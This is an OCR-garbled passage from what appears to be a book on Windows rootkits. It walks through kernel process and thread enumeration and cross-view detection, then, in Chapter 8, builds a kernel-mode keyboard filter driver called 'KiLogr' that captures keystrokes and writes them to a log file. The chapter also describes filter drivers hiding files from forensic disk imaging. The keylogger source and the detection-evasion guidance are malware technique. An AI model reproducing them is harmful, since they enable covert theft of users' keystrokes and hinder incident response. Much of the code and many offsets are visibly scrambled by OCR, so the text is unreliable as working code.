return(currentPEP); nextPEP = getNextEntry(currentPEP,EPROCESS_OFFSET_LINKS); currentPEP = nextPEP; currentPID = getEprocPID(currentPEP); getTaskName(name,(currentPEP+EPROCESS_OFFSET_NAME; while(startPID != currentPID)
{
This routine uses a couple of small utility functions and macro definitions to do its job.
#define EPROCESS_OFFSET_PID #define EPROCESS_OFFSET_LINKS #define EPROCESS_OFFSET_NAME 0x09C 0xeAe 0x14C 0x010 void getTaskName(char *dest, char *src)
{
//offset to PID (!HlRD) //offset to EPROCESS LIST_ENTRY //offset to name(16) //16 bytes
Port II 1449
The EPROCESS reference obtained through getEPROCESSS() is fed as an argument to the ListTids () routine.
void ListTids(BYTE* eprocess)
{
PETHREAD thread ; IJ,o,ORD* flink; IJ,o,ORD flinkValue; BYTE* start; BYTE* address; CID cid; flin k = (OWORD*)(eprocess + EPROCESS_OFFSET_THREADLIST); flinkValue = *flink ; thread = (PETHREAD)(((BYTE*)flinkValue) - OFFSET_THREAD_LISTENTRY); address = (BYTE*)thread; start = address; cid = getCID(address); DBG_PRINT4( "ListTids() : [%e4x] [%e4x,%u]"' ,cid . pid,cid. tid,cid. tid); address = getNextEntry(address , OFFSET_KTHREAD_LISTENTRY); while(address! =start)
{
cid = getCID(address); DBG_PRINT4(" ListTids( ) : [%e4x] [%e4x,%u] ",cid.pid,cid. tid,cid. tid); address = getNextEntry(address,OFFSET_KTHREAD_LISTENTRY); return; }/*end ListThreads()- -- ---------------------------- -- ---- -- -- -- ------------ */
As before, there are macros and a utility function to help keep things readable.
#define #define #define #define EPROCESS_OFFSET_THREADLIST OFFSET_KTHREAD_LISTENTRY OFFSET_THREAD_CID OFFSET_THREAD_LISTENTRY
9xl68 9xlC4 9x2OC 9x248
to to to to
PCID pcid; CID cid; pcid = (PCID)(current+OFFSET_THREAD_CID); cid = *pcid; return(cid); }/*end getCID()--- ---- -- ---- ----- --- --------------------------------------- */
450
Port"
Related Software
Several well-known rootkit detection tools utilize the cross-view approach. For example, RootkitRevealer5 is a detection utility that was developed by Sysinternals. It enumerates both files and registry keys in an effort to identify those rootkits that persist themselves somewhere on disk (e.g., HackerDefender, Vanquish, AFX, etc.). The high-level snapshot is built using standard Windows API calls. The low-level snapshot is constructed by manually traversing the raw binary structures of the file system on disk and parsing the binary hives that constitute the registry. BlackLight is a commercial product sold by F-Secure, a company based in Finland. BlackLight uses cross-view detection to identify hidden processes, files, and folders. As the arms race between attackers and defenders has unfolded, the low-level enumeration algorithm used by BlackLight has evolved. Originally, BlackLight used PIDB in conjunction with the CreateToolhelp32Snapshot() API to perform cross-view detection. 6 After Peter Silberman exposed the weaknesses in this approach, they changed the algorithm. According to Jamie Butler and Greg Hoglund, BlackLight may currently be using the handle table technique described earlier in this chapter. Naturally, Microsoft couldn't resist getting into the picture. Microsoft's Strider GhostBuster is a tool that takes a two-phase approach to malware detection. In the first phase, which Microsoft refers to as an "inside-the-box" scan, a cross-view enumeration of files, registry keys, and processes is performed on a live machine. The low-level enumeration portion of this scan is implemented by explicitly parsing the master file table, raw hive files, and kernel process list. The second phase, which Microsoft calls an "outsidethe-box" scan, uses a bootable WinPE CD to prevent interference by malware binaries. This two-phase approach offers a degree of flexibility for administrators who might not be able to power down their machines. The problem is that this wonderful new tool might as well be vaporware. Despite the cascade of technical papers and resulting media buzz, Strider GhostBuster is a just a research prototype. Microsoft hasn't released binaries to the public. In fact (this is a bit ironic), Microsoft directs visitors to the RookitRevealer under the project's Tools section.7
5 http://technet.microsoft.com/en-us/sysinternals/bb897445.aspx 6 Peter Silberman & C.H.A.O.S., "FUTo," Unifonned, Volume 3, January 2006. 7 http://research.microsoft.com/Rootkit/#lntroduction
Part II
1451
Field Checksums
As we saw with access token SIDs, another way that software vendors can make life more difficult for Black Hats is to add checksum fields to their kernel objects. This isn't so much a road block as it is a speed bump. To deal with this defense, all that attackers will need to do is determine how the signature is generated and then update the associated checksums after they've altered a kernel object. At this point, Microsoft can respond as it did with KPP: Obfuscate and misdirect in hopes of making it more difficult to reverseengineer the checksum algorithms.
Counter-Countermeasures
Is cross-view detection foolproof? Have the White Hats finally beaten us? In so many words: no, not necessarily. These countermeasures themselves have countermeasures. It all depends on how deep the low-level enumeration code goes. For example, if detection software manually scans the file system using API calls like ZwCreateFile() or ZwReadFile() to achieve raw access to the disk, then it's vulnerable to interference by a rootkit that subverts these system routines. In the extreme case, the detection software could communicate directly to the drive controller via the IN and OUT machine code instructions. This would allow the detection software to sidestep the operating system entirely, though it would also require a significant amount of development effort (because the file system drivers are essentially being reimplemented from scratch). Detection software like this would be difficult for a rootkit to evade. In an article written back in 2005, Joanna Rutkowska (the Nadia Comaneci of rootkits) proposed that a rootkit might be built that would somehow sense that this sort of detection software was running (perhaps by using a signature-based approach, as detection software is rarely polymorphic) and then simply disable its file-hiding functionality.s This way, there would be no discrepancy between the high-level and low-level file system scans and no hidden objects would be reported. The problem with this train of thought, as Joanna points out, is that visible executables can be processed by antivirus scanners. If a cross-view detector were to collaborate with an AV scanner concurrently at run time, this defense would be foiled. Note that this conclusion is based on the tacit assumption
8 Joanna Rutkowska, "Thoughts about Cross-View based Rootkit Detection," Invisibleth ings.org, June 2005.
452
Po rt II
that the AV scanner would be able to recognize the rootkit as such. If a rootkit doesn't have a known signature (which is to say that no one has reported its existence) and it succeeds in evading heuristic detection algorithms, no alarms will sound. This is what makes metamorphic malware so dangerous.
Part" 1453
speaking, relocate its heavy artillery behind fortifications so that an incoming enemy has a much harder time reaching its target. Another step that Microsoft could take to defend its operating system would be to embed the code that establishes these memory protection rings in hardware so that the process would be resistant to bootkit attacks. This approach would help Microsoft gain the high ground by beating attackers to the first punch. In practice, the code that sets up memory protection and the itinerant data structures is only a few kilobytes worth of machine instructions. Considering the current state of processor technology, where 8 MB on-chip caches are commonplace, this sort of setup isn't demanding very much.
454 1 Part II
These are weapons that the White Hats can brandish when things get dodgy and they've tried everything else. How can a rootkit protect itself from this sort of forensic investigation? We'll look at this in Part III, "Anti-Forensics."
Part" 1455
Chapter 8
01010010, 01101111, 81101111, 81110100, 81181011, 01101001, 01110100, 01110011, 0010000e, 01000011, 01001000, 00111800
- Nineteen Eighty-Four,
George Orwell Up to this point, we've intercepted information in transit by hijacking address tables and redirecting function calls. Our tools have almost exclusively relied on Black Hat technology. Microsoft, however, has actually gone to great lengths to provide us with a documented framework so that we can monitor and manipulate the flow of information in the system using official channels. Specifically, I'm talking about filter drivers. Microsoft's elaborate driver model supports a layered architecture, such that an I/O request can be serviced by a whole series of connected drivers that work together to form an assembly line of sorts. Each driver in the chain does part of the work necessary to get the job done. This modular approach to I/O processing allows new drivers to be injected into an existing chain, where they can leverage functionality that's already been implemented. This allows the overall behavior of the driver chain to be modified without having to start over and rewrite everything from scratch. Filter drivers live up to their namesake. They filter the data stored in I/O requests. Filter drivers are usually stuck between other modules in the driver chain, where their goal in life is to capture IRPs as they buzz by. Once captured, a filter driver can simply inspect an IRP before passing it on to one of its adjacent drivers, or it can alter the IRP to affect what happens further down the line. As far as rootkits are concerned, filter drivers are like Orwell's Ministry of Truth. They can be used to spread propaganda and disinformation. As legitimate results stream back to user mode from kernel space, filter drivers can modify them to provide the system administrator with a distorted view of reality, one that caters to the wants and needs of the intruder.
457
For example, during an incident response a forensic analyst may try to create a live disk image at run time using a tool like dd. exe. This is standard operating procedure when dealing with a mission-critical server that can't be taken offline. Under these conditions, a filter driver can be employed by an intruder to alter the corresponding flow of IRPs through the hard disk's chain of drivers so that sensitive files remain hidden. In this chapter, you'll learn how implement and deploy kernel-mode filter drivers. This chapter begins with a conceptual background discussion that explains how filter drivers work in general. Then, you'll see how this theory is realized in practice by implementing a primitive keystroke logger. Once you're done with the first cut of this logger, you'll see what sort of additional amenities can be added and the corresponding issues that you'll have to deal with in order to do so (e.g., synchronization and IRQLs).
458
PorI II
This scheme is reflected by the fact that there are three basic types of kernel-mode drivers in the classic Windows driver model (WDM): Function drivers Bus drivers Filter drivers
Function drivers take center stage as the primary driver for a given device;
which is to say that they perform most of the work necessary to service I/O requests. These drivers take the Windows API calls made by a client application and translate them into a discrete series of I/O commands that can then be issued to a device. In a driver chain, function drivers typically reside somewhere in the middle, layered between filter drivers (see Figure 8-1).
I/o Manager
I....... :=========!
Filter Driver Fu nction Driver
......
1.... ..
Driver Stack
HAL
Device Stack
Figure 8-1
Filter drivers don't manage hardware per se. Instead, they intercept and modify information as it passes through them. For example, filter drivers could be
used to encrypt data that gets written to a storage device and also decrypt data that's read from the storage device. Filter devices can be categorized as
Port II 1459
upper filters or lower filters, depending upon their position relative to the function driver. Function drivers and bus drivers are often implemented in terms of a driver/ minidriver pair. In practice, this can be a class/miniclass driver pair or a port/mini port driver pair. A class driver offers hardware-agnostic support for operations on a certain type (e.g., a certain class) of device. Windows ships with a number of class drivers, like the kbdclass. sys driver that provides support for keyboards. A miniclass driver, on the other hand, is usually supplied by a vendor. It supports device-specific operations for a particular device of a given class. A port driver supports general I/O operations for a given peripheral hardware interface. Because the core functionality of these drivers is mandated by the OS, Windows ships with a variety of port drivers. For example, the iSEl42prt. sys port driver services the 8042 microcontroller used to connect PS/2 keyboards to the system's peripheral bus. Miniport drivers, like miniclass drivers, tend to be supplied by hardware vendors. They support device-specific operations for peripheral hardware connected to a particular port. Looking at Figure 8-1, you should see that each driver involved in processing an I/O request for a physical device will have a corresponding device object. A device object is a data construct that's created by the OS and represents its associated driver. Device objects are implemented as structures of type DEVICE_OBJECT. These structures store a pointer to their driver (i.e., a field of type PDRIVE R_OBJECT), which can be used to locate a driver's dispatch routines and member functions at run time.
If the top driver can service the request by itself, it completes the I/O request and returns the IRP to the I/O manager. The exact nature of IRP "completion" will be saved for later. For now, just accept that the process of completing the I/O request means that the driver stack did what it was asked to do (or at least attempted to).
4601 Parlll
I/O Manager
Filter Driver
Function Driver
Bus Driver
Driver Stack
Device Stack
HAL
Hardware (bare metal )
Figure 8-2
If the top driver cannot service the request by itself, it does what it can and then locates the device object associated with the next lowest driver. Then the top driver asks the I/O manager to forward the IRP to the next lowest driver via a call to IoCallDri ver ( ). This series of steps repeats itself for the next driver, and in this fashion, IRPs can make their way from the top of the driver stack to the bottom. Note that if an IRP actually reaches the driver at the very bottom of the driver stack, it will have to be completed there (there's nowhere else for it go).
~xee2 ~x004
~xee8
~xeec ~xele
: : : : : :
Po rt II
I 461
~xe18
~xe2e ~xe2l
~xe22
~xe23
~xe24
~xe2S ~xe26 ~xe27
~xe28
~xe2c
~xe3e
~xe38 ~xe3c
~x049
IoStatus RequestorMode PendingReturned StackCount Current Location Cancel CancelIrql ApcEnvironment AllocationFlags UserIosb UserEvent OVerlay CancelRoutine UserBuffer Tail
: _IO_STATUS_BLOCK
: : : : : : :
Char UChar Char Char UChar UChar Char UChar ptr32 - IO_STATUS_BLOCK ptr32 _KEVENT (unnamed-tag> ptr32 void ptr32 Void (unnamed-tag>
Looking at these fields, all you really need to acknowledge for the time being is that they form a fixed-size header that's used by the I/O manager to store metadata about an I/O request. Think of the previous dump of structure fields as constituting an IRP header. If you want to know more about a particular field in an IRP, see the in-code documentation for the IRP structure in the WDK's wdm. h header file. When the I/O manager creates an IRP, it allocates additional storage space just beyond the header for each driver in a device's driver stack. When the I/O manager requisitions this storage space, it knows exactly how many drivers are in the stack and this allows it to set aside just enough space. The I/O manager breaks this storage space into an array of structures, where each driver in the driver stack is assigned an instance of the IO_STACK_LOCATION structure:
UChar lithe general category of operation requested UChar lithe specific sort of operation requested ~ee2 UChar ~xee3Control UChar ~xee4 Parameters (unnamed-tag> Ilvaries by dispatch routine ptr32 _DEVICE_OBJECT Iidevice mapped to this entry ~xe14 DeviceObject ptr32 _FILE_OBJECT ~xe18 Fil eObject ~xelc Completion R outine : ptr32 Iladdress of a completion routine ptr32 V oid ~xe2e Context
~xeee ~xeel
: : : :
An IRP's array of stack locations is indexed starting at 1, which is mapped to the stack location of the lowest driver (see Figure 8-3). While this data structure is an array, strictly speaking, its elements are associated with the driver stack such that they're accessed in an order that's reminiscent of a stack (e.g., from top to bottom). The IO_STACK_ LOCATION structure is basically a cubbyhole for drivers. It contains, among other things, the fields that dictate which dispatch routine in a driver the I/O manager will invoke (i.e., the major
462
Pa rt II
and minor IRP function codes) and also the information that will be passed to the driver's dispatch routine (e.g., the Parameters union, whose content varies according to the major and minor function codes). It also has a pointer to the device object that it's associated with.
I/o Manager
Filte r Driver
I.. .
t......
Function Driver
Filte r Driver
Bus Driver
I.. . I.. .
Driver Stack
HAL
Device Stack
Figure 8-3
From the vantage point of the sections that follow, the most salient field in the IO_STACK_LOCATION structure is the CompletionRoutine pointer. This pointer field references a function that resides in the driver directly above the driver to which the stack location is assigned. This is an important point to keep in mind, and you'll see why shortly. For instance, when a driver registers a completion routine with an IRP, it does so by storing the address of its completion routine in the stack location allocated for the driver below it on the driver stack. For example, if the lower filter driver (driver D2 in Figure 8-4) is going to register its completion routine with the IRP, it will do so by storing the address of this routine in the stack location allocated to the bus driver (driver Dl in Figure 8-4). You may be a bit confused because I'm telling you how completion routines are registered without explaining why. I mean, who needs completion routines anyway? Try to suspend your curiosity for a few moments and just work on absorbing these mechanics. The significance of all this basic material will snap into focus when I wade into the topic of IRP completion.
Port II 1463
Completion Routine
Filter Driver (04 ) ....... IO_STAC K_LOCAT ION [4]
No Compl"tion Routin"
IO_STACK_LOCATION [2]
(_D_l)_~I"""
IO_STACK_LOCATION [1]
Driver Stack
Figure 8-4
IRP Forwarding
When a driver's dispatch routine first receives an IRP, it will usually retrieve parameter values from its I/O stack location (and anything else that might be stored there) by making a call to the IoGetCurrentIrpStackLocation() routine. Once this is done, the dispatch routine is free to go ahead and do whatever it was designed to do. Near the end of its lifespan, if the dispatch routine plans on forwarding the IRP to the next lowest driver on the chain, it must:
1.
2. 3. 4.
Set up the I/O stack location in the IRP for the next driver lower down in the stack. Register a completion routine (this step is optional). Send off the IRP to the next driver below it. Return a status code (NTSTATUS).
There are a couple of standard ways to set up the stack location for the next IRP. If you're not using the current stack location for anything special and you'd like to simply pass this stack location on to the next driver, use the following routine:
VOID IoSkipCurrentIrpStackLocation(IN PIRP Irp);
This routine produces the desired effect by decrementing the I/O manager's pointer to the IO_STACK_LOCATION array by 1. This way, when the IRP gets forwarded and the aforementioned array pointer is incremented, the net effect is that the array pointer is unchanged. The net change to the array
464
Part II
pointer maintained by the I/O manager is zero. The driver below the current one gets the exact same IO_STACK_LOCATION element as the current driver. Naturally, this means that there will be an I/O stack location that doesn't get utilized because you're essentially sharing an array element between two drivers. This is not a big deal. Too much is always better than not enough. If the I/O manager allocated a wee bit too much memory, it's no big whoop.
If you want to copy the contents of the current I/O stack element into the next element, with the exception of the completion routine pointer, use the following routine:
VOID IoCopyCurrentIrpStacklocationToNext(IN PIRP Irp)j
IN IN IN IN IN IN
) j
PIRP Irp, PIO_COMPlETION_ROUTINE CompletionRoutine, PVOID Context, BOOLEAN InvokeOnSuccess, BOOLEAN InvokeOnError, BOOLEAN InvokeOnCancel
//pointer to the IRP //completion routine address //basically whatever you want
The last three Boolean arguments determine under what circumstances the completion routine will be invoked. Most of the time, all three parameters are set to TRUE. Actually firing off the IRP to the next driver is done by invoking the following:
NTSTATUS IoCallDriver(IN POEVICE_OBJECT DeviceObject, IN OUT PIRP Irp)j
The first argument accepts a pointer to the device object corresponding to the driver below the current one on the stack. It's up to the dispatch routine to somehow get its hands on this address. There's no standard technique to do so. Most of the time, the NTSTATUS value that a forwarding dispatch routine will return is simply the value that's returned from its invocation of
IoCallDriver( ).
IRP Completion
An IRP cannot be forwarded forever onward. Eventually, it must be completed. It's in the nature of an IRP to seek completion. If an IRP reaches the lowest driver on the stack then it must be completed by that driver because it literally has nowhere else to go.
PorI II
1465
II
On an intuitive level, IRP completion infers that the driver stack has finished its intended I/O operation. For better or for worse, the I/O request is done. From a technical standpoint there's a bit more to this. Specifically, the I/O manager initiates the completion process for an IRP when one of the drivers processing the IRP invokes the IoCompleteRequest () function.
STATUS_SUCCESS j ( * irp).IoStatus.Status ( * irp).IoSt atus .lnformation = someContextSensitiveValue j IoCompleteRequest(irp, IO_NO_INCREMENT)j
During this call, it's assumed that both the Status and Information fields of the IRP's IO_STATUS_BLOCK structure have been initialized. Also, the second argument (the value assigned to the fucntion 's PriorityBoost parameter) is almost always set to IO_NO_INCREMENT. Via the implementation of IoCompleteRequest ( ) , the I/O manager then takes things from here. Starting with the current driver's I/O stack location, it begins looking for completion routines to execute. (Aha! Now we finally see where completion routines come into the picture.) In particular, the I/O manager checks the current stack location to see if the previous driver registered a completion routine. If a routine has not been registered, the I/O manager moves up to the next IO_STACK_LOCATION element and continues the process until it hits the top of the I/O stack array (see Figure 8-5).
Filter Driver 1 _STACK_LOCATION [4] 0 Compl e tionRoutin e = NULL
CWM
Funct ion Driv er
Filter Driver
COOIpletionRoutine = NUll
The Process of Com pleti ng an I/ O Request 1) IRP complet ion is ini tiated in the lowest driver, th e I/ O ma nager is invoked. 2) The I/ O manager encounters a registered completion rou tine and executes it. 3) The I/O manager reaches the final IO_ STAC K_ LOCATION in the IRP an d the cycle ends.
Figure 8-5
466
Po rt II
If the I/O manager does encounter a valid completion routine address, it executes the routine and then keeps moving up the stack Gust so long as the completion routine doesn't return the STATUS_MORE_PROCESSING_ REQUIRED status code).
Finally, most completion routines contain the following snippet of code. The reasons behind this inclusion are complicated enough that they're beyond the scope of this book. Just be aware that your completion routines will need this code.
//boilerplate code for completion routines if*irp).PendingReturned)
{
IoMarkPending( irp) ;
}
>
httpj /www.osronline.com/
Part II
1467
a DRV
$ .... DEV
a DEV \Device\00000056 a An Attached : (unnamed) - \Driver\i8042prt a . An \Device\KeyboardClassO i......... An Attached : (unnamed) - \Driver\KiLogr
Figure 8-6
The ACPI driver ships with Windows_ On machines using an ACPI BIOS, the ACPI driver is loaded when the system first starts up and is installed at the base of the driver tree. The ACPI driver serves as an intermediary between the BIOS and Windows. Just above the ACPI driver in the driver stack is the i8042prt driver. The i8042prt driver also ships with Windows. It services the 8042-compatible microcontroller, which exists on PC motherboards as an interface between PS/2 keyboards and the system's peripheral bus. On contemporary systems, the 8042 is embedded deep within the motherboard's chipset, which merges several distinct microcontrollers. Because the i8042prt driver interacts with a microcontroller, it can be classified as a port driver. Further up the driver chain is the Kbdclass driver, the class driver that ships with Windows and implements general keyboard operations. The filter driver we build (KiLogr) will be injected directly above Kbdclass (see Figure 8-7).
I/O Manager
\ Driver\ KiLogr Filter Driver \Driver\Kbdclass Class Driver \ Driver\ i8042prt Port Driver \Driver\ ACPI Root Bus Driver
(unnamed ) Filter Device Object (Upper Fi lter) \ Devi ce\Keyboa rdClassO Functiona l Device Object (FDO ) (unnamed ) Physi cal Device Object (PDO ) \Device\OOOOOO56 Physi ca l Device Object (POD)
Device Stack
Figure 8-7
468
Port II
Lifecycle of an IRP
The life of a keystroke IRP begins when the raw input thread in the Windows subsystem sends a request to obtain input from the keyboard. This is done automatically (i.e., preemptively, before a keystroke has actually occurred) with the guarded expectation that even if data isn't immediately available, eventually it will be. The I/O manager receives this request and creates an IRP whose major function code is IRP_MJ_READ. This IRP traverses down the driver stack, passing through one dispatch routine after another via IRP forwarding, until it hits the i8042prt driver. Once it's arrived here, the IRP sits around drinking coffee and waiting to be populated with keystroke data. During its trip down the driver stack, our KiLogr driver will register a completion routine with the IRP. Once the user presses or releases a key, the IRP will be given data and it can begin its completion ritual. As news of the completion rockets back up the driver stack, the registered completion routine in KiLogr will be invoked, providing us with an opportunity to sneak a peek and see what the user has done. This sequence of events is displayed in Figure 8-8.
\Driver\Ki l ogr Filter Driver \Driver\Kbdcl ass Class Driver \Driver\i8042prt Port Driver \Driver\ACPI Root Bus Driver
Driver Stack
HAL
PS/ 2 Keyboard
Figure 8-8
Po rl II
I 469
Implementation
As usual, the best place to begin is with DriverEntry() . The implementation varies only slightly from the standard boilerplate.
NTSTATUS DriverEntry
(
NTSTATUS ntStatus;
[W)R[)
i;
for(i=9;i<IRP_MJ_MAXlMUM_FUNCTI0N;i++)
{
(*pDriverObject).MajorFunction[i] = defaultDispatch; (*pDriverObject).MajorFunction[IRP_MJ_READ] = Irp_Mj_Read; (*pDriverObject) .DriverUnload = OnUnload; Insert Driver(pDriverObject) ; return(STATUS_SUCCESS); }/*end D riverEntry()-- - ---- - ------------------------------- - -- - ------------ */
The first thing this routine does is set up a default dispatch function. These dispatch functions simply forward their IRPs on to the next driver using techniques described earlier.
NTSTATUS defaultDispatch
(
IN PDEVICE_OBJECT IN PIRP
) {
pDeviceObject, //pointer to Device Object structure plRP / / pointer to I/O Request Packet structure
> Note:
There is one exception, and that is the dispatch routine that handles the I RP_MJ_READ function code. This routine gets called when the raw input
470
PorI II
thread in the Windows subsystem requests keyboard input (not in response to a keypress, but in anticipation of one). Unlike the default dispatch routine, which simply passes its I/O stack location to the next driver, this dispatch function copies the values in the current I/O stack location to the next one. Then, it registers a completion routine that will be invoked when the IRP makes its way back up the driver stack.
NTSTATUS Irp_Mj_Read
(
IN POEVICE_OBJECT pOeviceObject, //pointer to Device Object structure IN PIRP pIrp //pointer to I/O Request Packet structure
) {
PIRP Irp PIa_COMPLETION_ROUTINE CompletionRoutine PVOID DriverDeterminedContext BOOLEAN InvokeOnSuccess BOOLEAN InvokeOnError BOOLEAN InvokeOnCancel
nIrpsToComplete = nIrpsToComplete+lj DBG_PRINT2("' [Irp_MLReadJ: Read request, nIrpsToComplete=%d", nIrpsToComplete)j ntStatus = IoCallDriver
(
deviceTopOfChain, pIrp
)j
You might note that we're incrementing an integer variable named nlrpsToComplete. This variable tallies the number of IRPs that fly by on their way to the bottom on the driver stack. While the purpose of doing so may not seem immediately obvious, this comes into play later on when we're unloading the driver. Specifically, if we unload the driver before allowing all of the affected IRPs to call this driver's completion routine, a driver may come back up the stack and try to call a completion routine that no longer exists (resulting in a BSOD). The nlrpsToComplete allows us to prevent this from happening by telling the driver how many IRPs are left that need to call our
Po rl II
I 471
completion routine. This way, the driver can wait until they've all been serviced. The completion routine extracts the keyboard data that's been stored in the IRP and then prints out a brief summary to the kernel debugger console.
NTSTATUS CompletionRoutine
(
i;
IoMarkIrpPending(pIrp);
472 1 Port II
Keystroke data is stored in the IRP's system-space buffer as a KEYBOARD_INPUT_DATA structure, which (believe it or not) is an official WDK construct declared in the ntddkbd. h header file .
typedef struct _KEYBOARO_INPUT_DATA
{
USHORT UnitId; USHORT MakeCode; USHORT Flags; USHORT Reserved; ULONG Extralnformation; } KEYBOARD_INPUT_DATA, *PKEYBOARD_INPUT_DATA;
There are two fields in this structure that are relevant. The MakeCode field indicates the keyboard scan code that's associated with the key that was pressed or released. Note this is a scan code, not an ASCn character value. Different system configurations will map a given scan code to different characters. When the term scan code comes into play, think "key" and not "character." The mapping of scan code to characters can be adjusted through a machine's Regional and Language Options applet in the Control Panel. This least common denominator sort of approach will allow us to build a portable key logger. The Flags field in the KEYBOARD_INPUT_DATA structure can be used to determine if the scan code was produced by the user pressing a key or by the user releasing the key. If the Flags field is equal to KEY_MAKE, the key has been pressed. If the Flags field is equal to KEY_BREAK, the key has been released. Just before the completion routine returns it decrements the nIrpsToComplete global variable. Again, this is bookkeeping work that's performed so that the driver can unload in a sane fashion. We've completed one of the IRPs that signed up to call our completion routine back in Irp_MLRead(), so it only makes sense that we'd decrease the overall tally to reflect this fact. Granted, none of the previous code is going to work unless we can inject our driver onto the top of the driver stack to begin with. This is the motivation behind the InsertDriver() function that gets called right near the end of DriverEntry() . Using a reference to this driver's DRIVER_OBJECT, this routine invokes the IoCreateDevice() call to generate a corresponding filter device object.
Port"
1473
Immediately following the call to IoCreateDevice() , this routine modifies the flags associated with the newly created device object so that it can act like a filter device object. Specifically, the device flags of the filter driver's device must match those of the device beneath it on the stack. Using the DeviceTree. exe tool from OSR Online, we can determine the device flags that have been set in the KeyboardClasse device:
DO_BUFFERED_IO DO_POWER_PAGEABLE
We'll also need to clear the DO_DEVICE_INITIALIZING flag. The I/O manager sets this flag when it creates a device object. If the device is to be attached to a device stack, this flag must be cleared. Don't ask me why, that's just what the Microsoft WDK documents state. Once these preliminary steps have been taken, we can attach the filter device to the top of the device stack by calling the IoAttachDevice() routine.
NTSTATUS InsertDriver IN PORIVER_OBJECT pOriverObject
NTSTATUS ntStatus; POEVICE_OBJECT newDeviceObject; //TOC - Current CCHAR STRING UNICODE_STRING Top-Of-Chain TOCNameBuffer[128] = "\ \Device\ \KeyboardClass9"; TOCNameString; TOCNameUnicodeString;
//See "Creating the Filter Device Object" in DOK Docs ntStatus = IoCreateDevice
pOriverObject,
9,
NJLL, FILE_DEVICE_KEYBOARD,
9,
TRUE, &newDeviceObject
);
//IN PORIVER_OBJECT DriverObject //IN ULONG DeviceExtensionSize //IN PUNICODE_STRING DeviceName OPTIONAL //IN DEVICE_TYPE DeviceType //IN ULONG DeviceCharacteristics //IN BOOLEAN Exclusive //OUT POEVICE_OBJECT *DeviceObject
if(!NT_SUCCESS(ntStatus
{
DbgMsg("InsertDriver", "IoCreateDevice() failed"); return(ntStatus); (*newDeviceObject).Flags = (*newDeviceObject).Flags (DO_BUFFERED_IO : DO_POWER_PAGABLE); (*newDeviceObject).Flags = (*newDeviceObject).Flags &
4741 Port II
RtlInitAnsiString(&TOCNameString, TOCNameBuffer}; RtlAnsiStringToUnicodeString(&TOCNameUnicodeString,&TOCNameString, TRUE }; //Insert our driver onto the top of the stack ntStatus = IoAttachDevice newDeviceObject, &TOCNameUnicodeString, &deviceTopOfChain
};
Pa rl II
I 475
keystrokes to a log file (see Figure 8-9). This leaves us with a relatively simple scheme: One thread intercepts keyboard IRPs to extract scan code information and the other thread stores this information in a log file. The trick then is controlling access to the shared buffer that both threads need to manipulate.
mutex
rI:::1..... j
!
1 ... '.'.' ...
Completion Thread
'.~,~:![,',~!;:;;\gJ]' . ."mj
rn
'"'~M,"'"
!
Worker Thread
It o o o
Figure 8-9 This is where synchronization issues creep into the picture. An old fogey I once knew cautioned me to "never use synchronization primitives unless you absolutely, positively, have to." The basic train of thought being that excessive synchronization can make code complicated and slow it down. In light of these words of wisdom, I define a single mutex to moderate access to the shared buffer. Before the completion routine adds a new scan code data to the shared buffer, it must acquire possession of the mutex. Likewise, before the worker thread dumps the contents of the shared buffer to a log file (resetting the current insertion index back to zero), it must also acquire the mutex.
>
Nole: For a complete source code listing, see KiLogr-V82 in the appendi x.
476
ParI II
The currentIndex field determines where the most recently harvested scan code information will be placed in the array. It's initially set to zero. The mutex field is the synchronization primitive that must be acquired before the buffer can be manipulated.
void initSharedArray()
{
sharedArray.currentlndex = 0; Kelni tializeMutex( &( sharedArray . mutex) ,0) ; return; }/*end initSharedArray()---------------------------- ------ -- -- ---- --- -- ----*/
The completion thread calls the addEntry() routine when it wants to insert a new scan code into the shared array. The worker thread will periodically check the currentIndex field value to see how full the shared array is. To do so, it calls a routine named isBufferReady(). If the shared array is over half full, it will dump the contents of the shared array to its own private buffer via the dumpArray() routine.
BOOLEAN isBufferReady()
{
if(sharedArray.currentlndex )= TRIGGER_POINT){ return(TRUE); return(FALSE); }/*end isBufferReady()-------- --------------------------------------------- */ void addEntry(KEYBOARD_INPUT_DATA entry)
{
modArray(ACTION_ADD, &entry, NULL); }/*end addEntry()----------------------- ------------ - -- --- - ----------------*/ DWORD dumpArray(KEYBOARD_INPUT_DATA *destination)
{
Port II
1477
Both the addEntry() and dumpArray() functions wrap a more general routine named modArray(). The dumpArray() routine returns the number of elements in the global shared buffer that were recovered during the dumping process. Also, because the isBufferReady() function doesn't modify anything (it just reads the currentIndex) we can get away with precluding synchronization. The modArray() function grabs the shared buffer's mutex and then either adds an element to the shared buffer or dumps it into a destination array, setting the currentIndex back to zero in the process. Once the array modification is done, the function releases the mutex and returns the number of elements that have been dumped (this value is ignored if the caller is adding an element).
#define ACTION_ADD #define ACTION_IM'
[W)R[)
e 1
modArray
(
[W)R[)
action, / /set to ACTION_ADD or ACTION_IM' KEYBOARD_INPUT_DATA *key, //key data to add (if ACTION_ADD) KEYBOARD_INPUT_DATA *destination //destination array (if ACTION_1M')
{
[W)R[)
sharedArray.currentIndex=0j
}
}
else if{action==ACTION_IM')
{
[W)R[)
ij if{destination!=MJLL)
478
Po rt II
for(i=0;i<sharedArray.currentlndex;i++)
{
destination[i] = sharedArray.buffer[i];
}
nElements = i; sharedArray.currentlndex=0;
} }
if(KeReleaseMutex(&(sharedArray.mutex),FALSE)!=0)
{
return (nElements) ; }/*end modArray() - --- -- - ---- - --- --- - --- -- -- --- - ---- - ---- -- - --- -- -- -- -- --- --*/
HANDLE threadHandle; //not used (yet) PETHREAD threadObjPtr; //needed during destruction BOOLEAN keepRunning; //allows thread to terminate itself KEYBOARD_INPUT_DATA buffer[SZ_SHARED_ARRAY+l]; HANDLE logFile; }WORKER_THREAD, *PWORKER_THREAD; WORKER_THREAD workerThread;
The first field, threadHandle, is a handle to the worker thread. This code doesn't use it for anything, but I keep a copy here just in case. The next field, threadObjPtr, is a pointer to the worker thread object and is used to ensure that the worker thread terminates before the driver does when closing up shop. The keepRunning field is used to shut the thread down in a sane manner. The thread basically executes in an infinite loop. Over the course of each loop iteration, the worker thread checks keepRunning to see if it should continue to execute. If this variable is set to FALSE, the worker thread will tie up any loose ends and then terminate itself. The buffer array is the worker thread's private buffer that receives the data from the global shared array. This way, the worker thread can take its time
Part II 1479
